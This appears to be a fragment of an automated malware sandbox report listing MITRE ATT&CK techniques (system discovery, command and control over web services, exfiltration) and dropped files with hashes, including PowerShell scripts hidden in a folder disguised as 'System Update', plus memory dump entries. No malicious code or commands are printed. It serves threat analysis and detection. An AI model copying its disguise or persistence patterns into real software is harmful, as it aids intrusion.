System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
336B

MD5
ed3ef905fe18cc80184226018c7e8de8

SHA1
bf3a9b333d15ca58ff3f024a226bd0add63e90e5

SHA256
e9f9bd89e32698662e553406d08d4dbf665e9c64e1f0c4758278f6305b427ee0

SHA512
0561f0183f144f5186de6da76c23ba15c5095065eb9ea43cf5a7948094572f553a162f48538541c3b08ec6215b91c83eb9a39d5a799eaa96bef5547b289f97c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\zvdob.ps1

Filesize
249KB

MD5
044a14e34d8f839cb0787154259b7375

SHA1
9e73be641015a80700271e8e43634fa448d21e66

SHA256
dff99cd215c9ffe66e2786e61a20b6648cff0faa1d4ff65548d87b0e422e2756

SHA512
a075963d0c1f913a1c7c7ce2a4b591d2b26a0fecda93dd2c8e0d0b58746667b4291f614f9d8d5912c2201826c9fdf752661750797f886f9dee44577327704fe3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88f8c2c410d53e576ed352dfa2dfd991

SHA1
9fddaaa618bf7365d8bcd0136d24fa9b23ef25db

SHA256
21a2a4ff34c10d51bb130d94c8d78f4d9700203be423c4ea84281520b43352d9

SHA512
e7fafe4137a6aabee5b087eb8fa11e88d800caa0b9f2890dfe93098c247cea5470f6192f16f6cda22244cd46bdc8b98afca1a6fb4d0c607501c713b9eed53233

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
721991167161c45d61b03e4dbad4984b

SHA1
fd3fa85d142b5e8d4906d3e5bfe10c5347958457

SHA256
0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

SHA512
f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_plsgrvoo.0n0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2904-80-0x000001CD43C30000-0x000001CD43C3A000-memory.dmp

Filesize
40KB

Download
memory/3276-83-0x0000000005930000-0x00000000059CC000-memory.dmp

Filesize
624KB

Download
memory/3276-81-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3276-84-0x0000000005F80000-0x0000000006524000-memory.dmp

Filesize
5.6MB

Download
memory/3276-85-0x0000000005B40000-0x0000000005BD2000-memory.dmp

Filesize
584KB

Download
memory/3276-86-0x0000000005AF0000-0x0000000005AFA000-memory.dmp

Filesize
40KB

Download
memory/3276-87-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Filesize
408KB

Download
memory/4448-22-0x00000235EC230000-0x00000235EC23A000-memory.dmp

Filesize
40KB

Download
memory/4612-12-0x00007FFC9A040000-0x00007FFC9AB01000-memory.dmp

Filesize
10.8MB

Download
memory/4612-66-0x00007FFC9A040000-0x00007FFC9AB01000-memory.dmp

Filesize
10.8MB

Download
memory/4612-11-0x00007FFC9A040000-0x00007FFC9AB01000-memory.dmp

Filesize
10.8MB

Download
memory/4612-1-0x000002BEE9660000-0x000002BEE9682000-memory.dmp

Filesize
136KB

Download
memory/4612-0-0x00007FFC9A043000-0x00007FFC9A045000-memory.dmp

Filesize
8KB

Download